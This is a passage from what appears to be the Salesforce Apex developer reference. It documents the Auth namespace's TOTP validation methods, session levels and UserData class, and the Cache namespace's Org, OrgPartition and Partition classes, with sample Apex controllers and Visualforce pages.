If the current user exceeds the maximum of 10 token validation attempts, this method throws a security exception.
validateTotpTokenForKey(totpSharedKey, totpCode, description)
Indicates whether a time-based one-time password (TOTP) code (token) is valid for the given shared key.
Signature
public static Boolean validateTotpTokenForKey(String totpSharedKey, String totpCode,
String description)
Parameters
totpSharedKey
Type: String
The shared (secret) key. The totpSharedKey must be a base32-encoded string of a 20-byte shared key.
totpCode
Type: String
The time-based one-time password (TOTP) code to validate.
description
Type: String
The custom description that describes the activity requiring identity verification; for example, “Complete purchase and check out”.
In the Setup user interface, this text is shown in the Activity Message column of Identity Verification History. The description
must be 128 characters or fewer. If you provide a value that’s longer, it’s truncated to 128 characters.
Return Value
Type: Boolean
Usage
If the key is invalid or doesn’t exist, this method throws an invalid parameter value exception or a no data found exception, respectively.
If the current user exceeds the maximum of 10 token validation attempts, this method throws a security exception.
validateTotpTokenForUser(totpCode)
Deprecated. Use validateTotpTokenForUser(totpCode, description) instead.
Signature
public static Boolean validateTotpTokenForUser(String totpCode)
Parameters
totpCode
Type: String
731
SessionManagement ClassReference
The time-based one-time password (TOTP) code to validate.
Return Value
Type: Boolean
Usage
If the current user does not have a TOTP code, this method throws an exception. If the current user has attempted too many validations,
this method throws an exception.
validateTotpTokenForUser(totpCode, description)
Indicates whether a time-based one-time password (TOTP) code (token) is valid for the current user.
Signature
public static Boolean validateTotpTokenForUser(String totpCode, String description)
Parameters
totpCode
Type: String
The time-based one-time password (TOTP) code to validate.
description
Type: String
The custom description that describes the activity requiring identity verification; for example, “Complete purchase and check out”.
This text appears to users when they verify their identity in Salesforce and, if they use Salesforce Authenticator version 2 or later, in
the Salesforce Authenticator mobile app. In addition, in the Setup user interface, this text is shown in the Activity Message column
of Identity Verification History. The description must be 128 characters or fewer. If you provide a value that’s longer, it’s
truncated to 128 characters.
Return Value
Type: Boolean
Usage
If the current user does not have a TOTP code, or if the current user has attempted too many validations, this method throws an exception.
SessionLevel Enum
An Auth.SessionLevel enum value is used by the SessionManagement.setSessionLevel method.
Namespace
Auth
732
SessionLevel EnumReference
Enum Values
DescriptionValue
The user’s security level for the current session meets the lowest requirements.LOW
Note: This low level is not available, nor used, in the Salesforce UI. User
sessions through the Salesforce UI are either standard or high assurance. You
can set this level using the API, but users assigned this level will experience
unpredictable and reduced functionality in their Salesforce organization.
The user’s security level for the current session meets the Standard requirements
set in the current organization Session Security Levels.
STANDARD
The user’s security level for the current session meets the High Assurance
requirements set in the current organization Session Security Levels.
HIGH_ASSURANCE
Usage
Session-level security controls user access to features that support it, such as connected apps and reporting. For example, You can
customize an organization’s Session Settings to require users to log in with two-factor authentication to get a High Assurance session.
Then, you can restrict access to a specific connected app by requiring a High Assurance session level in the settings for the connected
app.
UserData Class
Stores user information for Auth.RegistrationHandler.
Namespace
Auth
IN THIS SECTION:
UserData Constructors
UserData Properties
UserData Constructors
The following are constructors for UserData.
IN THIS SECTION:
UserData(userId, firstName, lastName, fullName, email, link, userName, locale, provider, siteLoginUrl, attributeMap)
Creates a new instance of the Auth.UserData class using the specified arguments.
733
UserData ClassReference
UserData(userId, firstName, lastName, fullName, email, link, userName, locale,
provider, siteLoginUrl, attributeMap)
Creates a new instance of the Auth.UserData class using the specified arguments.
Signature
public UserData(String userId, String firstName, String lastName, String fullName,
String email, String link, String userName, String locale, String provider, String
siteLoginUrl, Map<String,String> attributeMap)
Parameters
userId
Type: String
An identifier from the third party for the authenticated user, such as the Facebook user number or the Salesforce user ID.
firstName
Type: String
The first name of the authenticated user, according to the third party.
lastName
Type: String
The last name of the authenticated user, according to the third party.
fullName
Type: String
The full name of the authenticated user, according to the third party.
email
Type: String
The email address of the authenticated user, according to the third party.
link
Type: String
A stable link for the authenticated user such as https://www.facebook.com/MyUsername.
userName
Type: String
The username of the authenticated user in the third party.
locale
Type: String
The standard locale string for the authenticated user.
provider
Type: String
The service used to log in, such as Facebook or Janrain.
siteLoginUrl
Type: String
The site login page URL passed in if used with a site; null otherwise.
734
UserData ClassReference
attributeMap
Type: Map<String, String>
A map of data from the third party, in case the handler has to access non-standard values. For example, when using Janrain as a
provider, the fields Janrain returns in its accessCredentials dictionary are placed into the attributeMap. These fields
vary by provider.
UserData Properties
The following are properties for UserData.
IN THIS SECTION:
identifier
An identifier from the third party for the authenticated user, such as the Facebook user number or the Salesforce user ID.
firstName
The first name of the authenticated user, according to the third party.
lastName
The last name of the authenticated user, according to the third party.
fullName
The full name of the authenticated user, according to the third party.
email
The email address of the authenticated user, according to the third party.
link
A stable link for the authenticated user such as https://www.facebook.com/MyUsername.
username
The username of the authenticated user in the third party.
locale
The standard locale string for the authenticated user.
provider
The service used to log in, such as Facebook or Janrain.
siteLoginUrl
The site login page URL passed in if used with a site; null otherwise.
attributeMap
A map of data from the third party, in case the handler has to access non-standard values. For example, when using Janrain as a
provider, the fields Janrain returns in its accessCredentials dictionary are placed into the attributeMap. These fields
vary by provider.
identifier
An identifier from the third party for the authenticated user, such as the Facebook user number or the Salesforce user ID.
Signature
public String identifier {get; set;}
735
UserData ClassReference
Property Value
Type: String
firstName
The first name of the authenticated user, according to the third party.
Signature
public String firstName {get; set;}
Property Value
Type: String
lastName
The last name of the authenticated user, according to the third party.
Signature
public String lastName {get; set;}
Property Value
Type: String
fullName
The full name of the authenticated user, according to the third party.
Signature
public String fullName {get; set;}
Property Value
Type: String
email
The email address of the authenticated user, according to the third party.
Signature
public String email {get; set;}
Property Value
Type: String
736
UserData ClassReference
link
A stable link for the authenticated user such as https://www.facebook.com/MyUsername.
Signature
public String link {get; set;}
Property Value
Type: String
username
The username of the authenticated user in the third party.
Signature
public String username {get; set;}
Property Value
Type: String
locale
The standard locale string for the authenticated user.
Signature
public String locale {get; set;}
Property Value
Type: String
provider
The service used to log in, such as Facebook or Janrain.
Signature
public String provider {get; set;}
Property Value
Type: String
siteLoginUrl
The site login page URL passed in if used with a site; null otherwise.
737
UserData ClassReference
Signature
public String siteLoginUrl {get; set;}
Property Value
Type: String
attributeMap
A map of data from the third party, in case the handler has to access non-standard values. For example, when using Janrain as a provider,
the fields Janrain returns in its accessCredentials dictionary are placed into the attributeMap. These fields vary by provider.
Signature
public Map<String,String> attributeMap {get; set;}
Property Value
Type: Map<String, String>
VerificationPolicy Enum
The Auth.VerificationPolicy enum contains an identity verification policy value used by the
SessionManagement.generateVerificationUrl method.
Usage
The enum value is an argument in the SessionManagement.generateVerificationUrl method. The value indicates
the session security policy required to initiate identity verification for the user’s session.
Enum Values
The following are the values of the Auth.VerificationPolicy enum.
DescriptionValue
The security level for the user’s current session must be High Assurance.HIGH_ASSURANCE
Auth Exceptions
The Auth namespace contains some exception classes.
All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions.
The Auth namespace contains the following exception.
738
VerificationPolicy EnumReference
MethodsDescriptionException
To get the error message and write it
to debug log, use the String
getMessage().
Throw this exception to indicate that an
error occurred when using the auth
provider plug-in. Use to display a custom
error message to the user.
Auth.AuthProviderPluginException
To get the error message and write it
to debug log, use the String
getMessage().
Throw this exception to indicate that an
error occurred while running the custom
behavior for a connected app.
Auth.ConnectedAppPluginException
To get the error message and write it
to debug log, use the String
getMessage().
Throw this exception to indicate a problem
with the response from the token
endpoint in the JWTBearerTokenExchange
class. This exception occurs when the HTTP
Auth.JWTBearerTokenExchange.
JWTBearerTokenExchangeException
response during the OAuth 2.0 JWT bearer
token flow:
•Fails to return an access token.
•Is not in JSON format.
•Returns a response code other than a
200 “OK” success code.
Example
This example uses AuthProviderPluginException to throw a custom error message on any method in a custom authentication
provider implementation. Use this exception if you want the end user to see a specific message, passing in the error message as a
parameter. If you use another exception, users see a standard Salesforce error message.
global override Auth.OAuthRefreshResult refresh(Map<string,string>
authProviderConfiguration,String refreshToken){
HttpRequest req = new HttpRequest();
String accessToken = null;
String error = null;
try {
// DEVELOPER TODO: Make a refresh token flow using refreshToken passed
// in as an argument to get the new access token
// accessToken = ...
}catch (System.CalloutException e) {
error = e.getMessage();
}
catch(Exception e) {
error = e.getMessage();
throw new Auth.AuthProviderPluginException('My custom error');
}
return new Auth.OAuthRefreshResult(accessToken,refreshToken, error);
}
739
Auth ExceptionsReference
Cache Namespace
The Cache namespace contains methods for managing the platform cache.
The following are the classes in the Cache namespace.
IN THIS SECTION:
Org Class
Use the Cache.Org class to add, retrieve, and manage values in the org cache. Unlike the session cache, the org cache is not tied
to any session and is available to the organization across requests and to all users.
OrgPartition Class
Contains methods to manage cache values in the org cache of a specific partition. Unlike the session cache, the org cache is not tied
to any session. It’s available to the organization across requests and to all users.
Partition Class
Base class of Cache.OrgPartition and Cache.SessionPartition. Use the subclasses to manage the cache partition
for org caches and session caches.
Session Class
Use the Cache.Session class to add, retrieve, and manage values in the session cache. The session cache is active as long as
the user’s Salesforce session is valid (the user is logged in, and the session is not expired).
SessionPartition Class
Contains methods to manage cache values in the session cache of a specific partition.
Cache Exceptions
The Cache namespace contains exception classes.
Visibility Enum
Use the Cache.Visibility enumeration in the Cache.Session or Cache.Org methods to indicate whether a cached
value is visible only in the value’s namespace or in all namespaces.
SEE ALSO:
Platform Cache
Org Class
Use the Cache.Org class to add, retrieve, and manage values in the org cache. Unlike the session cache, the org cache is not tied to
any session and is available to the organization across requests and to all users.
Namespace
Cache
Usage
Cache Key Format
This table lists the format of the key parameter that some methods in this class take, such as put, get, and contains.
740
Cache NamespaceReference
DescriptionKey Format
Fully qualified key name.namespace.partition.key
Refers to a partition marked as default when the
namespace.partition prefix is omitted.
key
Use the local prefix to refer to the org’s namespace when the
org doesn’t have a namespace defined. If the org has a namespace
defined, the local prefix also refers to that org’s namespace.
local.partition.key
Note:
•If no default partition is specified in the org, calling a cache method without fully qualifying the key name causes a
Cache.Org.OrgCacheException to be thrown.
•The local prefix in an installed managed package refers to the namespace of the subscriber org and not the package’s
namespace. The cache put calls aren’t allowed in a partition that the invoking class doesn’t own.
Example
This class is the controller for a sample Visualforce page (shown in the subsequent code sample). The cached values are initially added
to the cache by the init() method, which the Visualforce page invokes when it loads through the action attribute. The cache
keys don’t contain the namespace.partition prefix. They all refer to the default partition in your org. To run this sample, create
a partition and mark it as default.
The Visualforce page contains four output components. These components call get methods on the controller that returns the following
values from the cache: a date, data based on the MyData inner class, a counter, a text value, and a list. The size of the list is also returned.
The Visualforce page also contains two buttons. The Rerender button invokes the go() method on the controller. This method increases
the values of the counter and the custom data in the cache. When you click Rerender, the two counters increase by one each time. The
go() method retrieves the values of these counters from the cache, increments their values by one, and stores them again in the
cache.
The Remove datetime Key button deletes the date-time value (with key datetime) from the cache. As a result, the value next to
Cached datetime: is cleared on the page.
Note: If another user logs in and runs this sample, this user gets the cache values that were last added or updated by the previous
user. For example, if the counter value was five, the next user sees the counter value as increased to six.
public class OrgCacheController {
// Inner class.
// Used as the data type of a cache value.
class MyData {
public String value { get; set; }
public Integer counter { get; set; }
public MyData(String value) {
this.value = value;
this.counter = 0;
}
public void inc() {
741
Org ClassReference
counter++;
}
override public String toString() {
return this.value + ':' +this.counter;
}
}
// Apex List.
// Used as the data type of a cached value.
private List<String> numbers =
new List<String>{'ONE','TWO','THREE','FOUR','FIVE' };
// Constructor of the controller for the Visualforce page.
public OrgCacheController() {
}
// Adds various values to the cache.
// This method is called when the Visualforce page loads.
public void init() {
// All key values are not qualified by the namespace.partition
// prefix because they use the default partition.
// Add counter to the cache with initial value of 0
// or increment it if it's already there.
if (!Cache.Org.contains('counter')) {
Cache.Org.put('counter', 0);
}else {
Cache.Org.put('counter', getCounter() + 1);
}
// Add the datetime value to the cache only if it's not already there.
if (!Cache.Org.contains('datetime')) {
DateTime dt = DateTime.now();
Cache.Org.put('datetime', dt);
}
// Add the custom data to the cache only if it's not already there.
if (!Cache.Org.contains('data')) {
Cache.Org.put('data',new MyData('Some custom value'));
}
// Add a list of number to the cache if not already there.
if (!Cache.Org.contains('list')) {
Cache.Org.put('list', numbers);
}
// Add a string value to the cache if not already there.
if (!Cache.Org.contains('output')) {
Cache.Org.put('output','Cached text value');
}
}
// Return counter from the cache.
742
Org ClassReference
public Integer getCounter() {
return (Integer)Cache.Org.get('counter');
}
// Return datetime value from the cache.
public String getCachedDatetime() {
DateTime dt = (DateTime)Cache.Org.get('datetime');
return dt != null ? dt.format() : null;
}
// Return cached value whose type is the inner class MyData.
public String getCachedData() {
MyData mydata = (MyData)Cache.Org.get('data');
return mydata != null ? mydata.toString() : null;
}
// Return output from the cache.
public String getOutput() {
return (String)Cache.Org.get('output');
}
// Return list from the cache.
public List<String> getList() {
return (List<String>)Cache.Org.get('list');
}
// Method invoked by the Rerender button on the Visualforce page.
// Updates the values of various cached values.
// Increases the values of counter and the MyData counter if those
// cache values are still in the cache.
public PageReference go() {
// Increase the cached counter value or set it to 0
// if it's not cached.
if (Cache.Org.contains('counter')) {
Cache.Org.put('counter', getCounter() + 1);
}else {
Cache.Org.put('counter', 0);
}
// Get the custom data value from the cache.
MyData d = (MyData)Cache.Org.get('data');
// Only if the data is already in the cache, update it.
if (Cache.Org.contains('data')) {
d.inc();
Cache.Org.put('data', d);
}
return null;
}
// Method invoked by the Remove button on the Visualforce page.
// Removes the datetime cached value from the org cache.
public PageReference remove() {
Cache.Org.remove('datetime');
743
Org ClassReference
return null;
}
}
This is the Visualforce page that corresponds to the OrgCacheController class.
<apex:page controller="OrgCacheController" action="{!init}">
<apex:outputPanel id="output">
<br/>Cached datetime: <apex:outputText value="{!cachedDatetime}"/>
<br/>Cached data: <apex:outputText value="{!cachedData}"/>
<br/>Cached counter: <apex:outputText value="{!counter}"/>
<br/>Output: <apex:outputText value="{!output}"/>
<br/>Repeat: <apex:repeat var="item" value="{!list}">
<apex:outputText value="{!item}"/>&nbsp;
</apex:repeat>
<br/>List size: <apex:outputText value="{!list.size}"/>
</apex:outputPanel>
<br/><br/>
<apex:form >
<apex:commandButton id="go" action="{!go}" value="Rerender" rerender="output"/>
<apex:commandButton id="remove" action="{!remove}" value="Remove datetime Key"
rerender="output"/>
</apex:form>
</apex:page>
This is the output of the page after clicking the Rerender button twice. The counter value could differ in your case if a key named
counter was already in the cache before running this sample.
Cached datetime:8/11/2015 1:58 PM
Cached data:Some custom value:2
Cached counter:2
Output:Cached text value
Repeat:ONE TWO THREE FOUR FIVE
List size:5
IN THIS SECTION:
Org Constants
The Org class provides a constant that you can use when setting the time-to-live (TTL) value.
Org Methods
SEE ALSO:
Platform Cache
Org Constants
The Org class provides a constant that you can use when setting the time-to-live (TTL) value.
744
Org ClassReference
DescriptionConstant
Represents the maximum amount of time, in seconds, to keep the cached value in the
org cache.
MAX_TTL_SECS
Org Methods
The following are methods for Org. All methods are static.
IN THIS SECTION:
contains(key)
Returns true if the org cache contains a cached value corresponding to the specified key.
contains(keys)
Returns true if the org cache contains the specified key entries.
get(key)
Returns the cached value corresponding to the specified key from the org cache.
getAvgGetTime()
Returns the average time taken to get a key from the org cache, in nanoseconds.
getAvgValueSize()
Returns the average item size for keys in the org cache, in bytes.
getCapacity()
Returns the percentage of org cache capacity that has been used.
getKeys()
Returns a set of all keys that are stored in the org cache and visible to the invoking namespace.
getMaxGetTime()
Returns the maximum time taken to get a key from the org cache, in nanoseconds.
getMaxValueSize()
Returns the maximum item size for keys in the org cache, in bytes.
getMissRate()
Returns the miss rate in the org cache.
getName()
Returns the name of the default cache partition.
getNumKeys()
Returns the total number of keys in the org cache.
getPartition(partitionName)
Returns a partition from the org cache that corresponds to the specified partition name.
put(key, value)
Stores the specified key/value pair as a cached entry in the org cache. The put method can write only to the cache in your org’s
namespace.
put(key, value, visibility)
Stores the specified key/value pair as a cached entry in the org cache and sets the cached value’s visibility.
745
Org ClassReference
put(key, value, ttlSecs)
Stores the specified key/value pair as a cached entry in the org cache and sets the cached value’s lifetime.
put(key, value, ttlSecs, visibility, immutable)
Stores the specified key/value pair as a cached entry in the org cache. This method also sets the cached value’s lifetime, visibility,
and whether it can be overwritten by another namespace.
remove(key)
Deletes the cached value corresponding to the specified key from the org cache.
contains(key)
Returns true if the org cache contains a cached value corresponding to the specified key.
Signature
public static Boolean contains(String key)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
Return Value
Type: Boolean
true if a cache entry is found. Othewise, false.
contains(keys)
Returns true if the org cache contains the specified key entries.
Signature
public static List<Boolean> contains(Set<String> keys)
Parameters
keys
Type: Set<String>
A set of keys that uniquely identifies cached values. For information about the format of the key name, see Usage.
Return Value
Type: List<Boolean>
true if the key entries are found. Othewise, false.
746
Org ClassReference
get(key)
Returns the cached value corresponding to the specified key from the org cache.
Signature
public static Object get(String key)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
Return Value
Type: Object
The cached value as a generic object type. Cast the returned value to the appropriate type.
Usage
Because Cache.Org.get() returns an object, cast the returned value to a specific type to facilitate use of the returned value.
// Get a cached value
Object obj = Cache.Org.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;
If a Cache.Org.get() call doesn’t find the referenced key, it returns null.
getAvgGetTime()
Returns the average time taken to get a key from the org cache, in nanoseconds.
Signature
public static Long getAvgGetTime()
Return Value
Type: Long
getAvgValueSize()
Returns the average item size for keys in the org cache, in bytes.
Signature
public static Long getAvgValueSize()
747
Org ClassReference
Return Value
Type: Long
getCapacity()
Returns the percentage of org cache capacity that has been used.
Signature
public static Double getCapacity()
Return Value
Type: Double
Used cache as a percentage number.
getKeys()
Returns a set of all keys that are stored in the org cache and visible to the invoking namespace.
Signature
public static Set<String> getKeys()
Return Value
Type: Set<String>
A set containing all cache keys.
getMaxGetTime()
Returns the maximum time taken to get a key from the org cache, in nanoseconds.
Signature
public static Long getMaxGetTime()
Return Value
Type: Long
getMaxValueSize()
Returns the maximum item size for keys in the org cache, in bytes.
Signature
public static Long getMaxValueSize()
748
Org ClassReference
Return Value
Type: Long
getMissRate()
Returns the miss rate in the org cache.
Signature
public static Double getMissRate()
Return Value
Type: Double
getName()
Returns the name of the default cache partition.
Signature
public String getName()
Return Value
Type: String
The name of the default cache partition.
getNumKeys()
Returns the total number of keys in the org cache.
Signature
public static Long getNumKeys()
Return Value
Type: Long
getPartition(partitionName)
Returns a partition from the org cache that corresponds to the specified partition name.
Signature
public static cache.OrgPartition getPartition(String partitionName)
749
Org ClassReference
Parameters
partitionName
Type: String
A partition name that is qualified by the namespace, for example, namespace.partition.
Return Value
Type: Cache.OrgPartition
Example
After you get the org partition, you can add and retrieve the partition’s cache values.
// Get partition
Cache.OrgPartition orgPart = Cache.Org.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (orgPart.contains('BookTitle')) {
String cachedTitle = (String)orgPart.get('BookTitle');
}
// Add cache value to the partition
orgPart.put('OrderDate',Date.today());
// Or use dot notation to call partition methods
String cachedAuthor = (String)Cache.Org.getPartition('myNs.myPartition').get('BookAuthor');
put(key, value)
Stores the specified key/value pair as a cached entry in the org cache. The put method can write only to the cache in your org’s
namespace.
Signature
public static void put(String key, Object value)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
value
Type: Object
The value to store in the cache. The cached value must be serializable.
Return Value
Type: void
750
Org ClassReference
put(key, value, visibility)
Stores the specified key/value pair as a cached entry in the org cache and sets the cached value’s visibility.
Signature
public static void put(String key, Object value, Cache.Visibility visibility)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
value
Type: Object
The value to store in the cache. The cached value must be serializable.
visibility
Type: Cache.Visibility
Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.
Return Value
Type: void
put(key, value, ttlSecs)
Stores the specified key/value pair as a cached entry in the org cache and sets the cached value’s lifetime.
Signature
public static void put(String key, Object value, Integer ttlSecs)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
value
Type: Object
The value to store in the cache. The cached value must be serializable.
ttlSecs
Type: Integer
The amount of time, in seconds, to keep the cached value in the org cache. The maximum is 172,800 seconds (48 hours). The
minimum value is 300 seconds or 5 minutes. The default value is 86,400 seconds (24 hours).
751
Org ClassReference
Return Value
Type: void
put(key, value, ttlSecs, visibility, immutable)
Stores the specified key/value pair as a cached entry in the org cache. This method also sets the cached value’s lifetime, visibility, and
whether it can be overwritten by another namespace.
Signature
public static void put(String key, Object value, Integer ttlSecs, cache.Visibility
visibility, Boolean immutable)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
value
Type: Object
The value to store in the cache. The cached value must be serializable.
ttlSecs
Type: Integer
The amount of time, in seconds, to keep the cached value in the org cache. The maximum is 172,800 seconds (48 hours). The
minimum value is 300 seconds or 5 minutes. The default value is 86,400 seconds (24 hours).
visibility
Type: Cache.Visibility
Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.
immutable
Type: Boolean
Indicates whether the cached value can be overwritten by another namespace (false) or not (true).
Return Value
Type: void
remove(key)
Deletes the cached value corresponding to the specified key from the org cache.
Signature
public static Boolean remove(String key)
752
Org ClassReference
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
Return Value
Type: Boolean
true if the cache value was successfully removed. Otherwise, false.
OrgPartition Class
Contains methods to manage cache values in the org cache of a specific partition. Unlike the session cache, the org cache is not tied to
any session. It’s available to the organization across requests and to all users.
Namespace
Cache
Usage
This class extends Cache.Partition and inherits all its non-static methods. Utility methods for creating and validating keys aren’t supported
and can be called only from the Cache.Partition parent class. For a list of Cache.Partition methods, see Partition Methods.
To get an org partition, call Cache.Org.getPartition and pass in a fully qualified partition name, as follows.
Cache.OrgPartition orgPartition = Cache.Org.getPartition('namespace.myPartition');
See Cache Key Format for Partition Methods.
Example
This class is the controller for a sample Visualforce page (shown in the subsequent code sample). The controller shows how to use the
methods of Cache.OrgPartition to manage a cache value on a particular partition. The controller takes inputs from the Visualforce
page for the partition name, key name for a counter, and initial counter value. The controller contains default values for these inputs.
When you click Rerender on the Visualforce page, the go() method is invoked and increases the counter by one. When you click
Remove Key, the counter key is removed from the cache. The counter value gets reset to its initial value when it’s re-added to the cache.
Note: If another user logs in and runs this sample, the user gets the cache values that were last added or updated by the previous
user. For example, if the counter value was five, the next user sees the counter value as increased to six.
public class OrgPartitionController {
// Name of a partition
String partitionInput = 'local.myPartition';
// Name of the key
String counterKeyInput = 'counter';
// Key initial value
Integer counterInitValue = 0;
// Org partition object
Cache.OrgPartition orgPartition;
753
OrgPartition ClassReference
// Constructor of the controller for the Visualforce page.
public OrgPartitionController() {
}
// Adds counter value to the cache.
// This method is called when the Visualforce page loads.
public void init() {
// Create the partition instance based on the partition name
orgPartition = getPartition();
// Create the partition instance based on the partition name
// given in the Visualforce page or the default value.
orgPartition = Cache.Org.getPartition(partitionInput);
// Add counter to the cache with an initial value
// or increment it if it's already there.
if (!orgPartition.contains(counterKeyInput)) {
orgPartition.put(counterKeyInput, counterInitValue);
}else {
orgPartition.put(counterKeyInput, getCounter() + 1);
}
}
// Returns the org partition based on the partition name
// given in the Visualforce page or the default value.
private Cache.OrgPartition getPartition() {
if (orgPartition == null) {
orgPartition = Cache.Org.getPartition(partitionInput);
}
return orgPartition;
}
// Return counter from the cache.
public Integer getCounter() {
return (Integer)getPartition().get(counterKeyInput);
}
// Invoked by the Submit button to save input values
// supplied by the user.
public PageReference save() {
// Reset the initial key value in the cache
getPartition().put(counterKeyInput, counterInitValue);
return null;
}
// Method invoked by the Rerender button on the Visualforce page.
// Updates the values of various cached values.
// Increases the values of counter and the MyData counter if those
// cache values are still in the cache.
public PageReference go() {
754
OrgPartition ClassReference
// Get the org partition object
orgPartition = getPartition();
// Increase the cached counter value or set it to 0
// if it's not cached.
if (orgPartition.contains(counterKeyInput)) {
orgPartition.put(counterKeyInput, getCounter() + 1);
}else {
orgPartition.put(counterKeyInput, counterInitValue);
}
return null;
}
// Method invoked by the Remove button on the Visualforce page.
// Removes the datetime cached value from the org cache.
public PageReference remove() {
getPartition().remove(counterKeyInput);
return null;
}
// Get and set methods for accessing variables
// that correspond to the input text fields on
// the Visualforce page.
public String getPartitionInput() {
return partitionInput;
}
public String getCounterKeyInput() {
return counterKeyInput;
}
public Integer getCounterInitValue() {
return counterInitValue;
}
public void setPartitionInput(String partition) {
this.partitionInput = partition;
}
public void setCounterKeyInput(String keyName) {
this.counterKeyInput = keyName;
}
public void setCounterInitValue(Integer counterValue) {
this.counterInitValue = counterValue;
}
}
This is the Visualforce page that corresponds to the OrgPartitionController class.
<apex:page controller="OrgPartitionController" action="{!init}">
<apex:form >
<br/>Partition with Namespace Prefix: <apex:inputText value="{!partitionInput}"/>
755
OrgPartition ClassReference
<br/>Counter Key Name: <apex:inputText value="{!counterKeyInput}"/>
<br/>Counter Initial Value: <apex:inputText value="{!counterInitValue}"/>
<apex:commandButton action="{!save}" value="Save Key Input Values"/>
</apex:form>
<apex:outputPanel id="output">
<br/>Cached Counter: <apex:outputText value="{!counter}"/>
</apex:outputPanel>
<br/>
<apex:form >
<apex:commandButton id="go" action="{!go}" value="Rerender" rerender="output"/>
<apex:commandButton id="remove" action="{!remove}" value="Remove Key"
rerender="output"/>
</apex:form>
</apex:page>
SEE ALSO:
Platform Cache
Partition Class
Base class of Cache.OrgPartition and Cache.SessionPartition. Use the subclasses to manage the cache partition
for org caches and session caches.
Namespace
Cache
Cache Key Format for Partition Methods
After you obtain the partition object (an instance of Cache.OrgPartition or Cache.SessionPartition), the methods
to add, retrieve, and manage the cache values in a partition take the key name. The key name that you supply to these methods (get(),
put(), remove(), and contains()) doesn’t include the namespace.partition prefix.
IN THIS SECTION:
Partition Methods
SEE ALSO:
OrgPartition Class
SessionPartition Class
Platform Cache
756
Partition ClassReference
Partition Methods
The following are methods for Partition.
IN THIS SECTION:
contains(key)
Returns true if the cache partition contains a cached value corresponding to the specified key.
createFullyQualifiedKey(namespace, partition, key)
Generates a fully qualified key from the passed-in key components. The format of the generated key string is
namespace.partition.key.
createFullyQualifiedPartition(namespace, partition)
Generates a fully qualified partition name from the passed-in namespace and partition. The format of the generated partition string
is namespace.partition.
get(key)
Returns the cached value corresponding to the specified key from the cache partition.
getAvgGetTime()
Returns the average time taken to get a key from the partition, in nanoseconds.
getAvgValueSize()
Returns the average item size for keys in the partition, in bytes.
getCapacity()
Returns the percentage of cache used of the total capacity for this partition.
getKeys()
Returns a set of all keys that are stored in the cache partition and visible to the invoking namespace.
getMaxGetTime()
Returns the maximum time taken to get a key from the partition, in nanoseconds.
getMaxValueSize()
Returns the maximum item size for keys in the partition, in bytes.
getMissRate()
Returns the miss rate in the partition.
getName()
Returns the name of this cache partition.
getNumKeys()
Returns the total number of keys in the partition.
isAvailable()
Returns true if the Salesforce session is available. Only applies to Cache.SessionPartition. The session cache isn’t
available when an active session isn’t present, such as in asynchronous Apex or code called by asynchronous Apex. For example, if
batch Apex causes an Apex trigger to execute, the session cache isn’t available in the trigger because the trigger runs in asynchronous
context.
put(key, value)
Stores the specified key/value pair as a cached entry in the cache partition. The put method can write only to the cache in your
org’s namespace.
757
Partition ClassReference
put(key, value, visibility)
Stores the specified key/value pair as a cached entry in the cache partition and sets the cached value’s visibility.
put(key, value, ttlSecs)
Stores the specified key/value pair as a cached entry in the cache partition and sets the cached value’s lifetime.
put(key, value, ttlSecs, visibility, immutable)
Stores the specified key/value pair as a cached entry in the cache partition. This method also sets the cached value’s lifetime, visibility,
and whether it can be overwritten by another namespace.
remove(key)
Deletes the cached value corresponding to the specified key from this cache partition.
validateKey(isDefault, key)
Validates a cache key. This method throws a Cache.InvalidParamException if the key is not valid. A valid key is not
null and contains alphanumeric characters.
validateKeyValue(isDefault, key, value)
Validates a cache key and ensures that the cache value is non-null. This method throws a Cache.InvalidParamException
if the key or value is not valid. A valid key is not null and contains alphanumeric characters.
validateKeys(isDefault, keys)
Validates the specified cache keys. This method throws a Cache.InvalidParamException if the key is not valid. A valid
key is not null and contains alphanumeric characters.
validatePartitionName(name)
Validates the partition name — for example, that it is not null.
contains(key)
Returns true if the cache partition contains a cached value corresponding to the specified key.
Signature
public Boolean contains(String key)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value.
Return Value
Type: Boolean
true if a cache entry is found. Othewise, false.
createFullyQualifiedKey(namespace, partition, key)
Generates a fully qualified key from the passed-in key components. The format of the generated key string is
namespace.partition.key.
758
Partition ClassReference
Signature
public static String createFullyQualifiedKey(String namespace, String partition, String
key)
Parameters
namespace
Type: String
The namespace of the cache key.
partition
Type: String
The partition of the cache key.
key
Type: String
The name of the cache key.
Return Value
Type: String
createFullyQualifiedPartition(namespace, partition)
Generates a fully qualified partition name from the passed-in namespace and partition. The format of the generated partition string is
namespace.partition.
Signature
public static String createFullyQualifiedPartition(String namespace, String partition)
Parameters
namespace
Type: String
The namespace of the cache key.
partition
Type: String
The partition of the cache key.
Return Value
Type: String
get(key)
Returns the cached value corresponding to the specified key from the cache partition.
759
Partition ClassReference
Signature
public Object get(String key)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value.
Return Value
Type: Object
The cached value as a generic object type. Cast the returned value to the appropriate type.
getAvgGetTime()
Returns the average time taken to get a key from the partition, in nanoseconds.
Signature
public Long getAvgGetTime()
Return Value
Type: Long
getAvgValueSize()
Returns the average item size for keys in the partition, in bytes.
Signature
public Long getAvgValueSize()
Return Value
Type: Long
getCapacity()
Returns the percentage of cache used of the total capacity for this partition.
Signature
public Double getCapacity()
Return Value
Type: Double
760
Partition ClassReference
Used partition cache as a percentage number.
getKeys()
Returns a set of all keys that are stored in the cache partition and visible to the invoking namespace.
Signature
public Set<String> getKeys()
Return Value
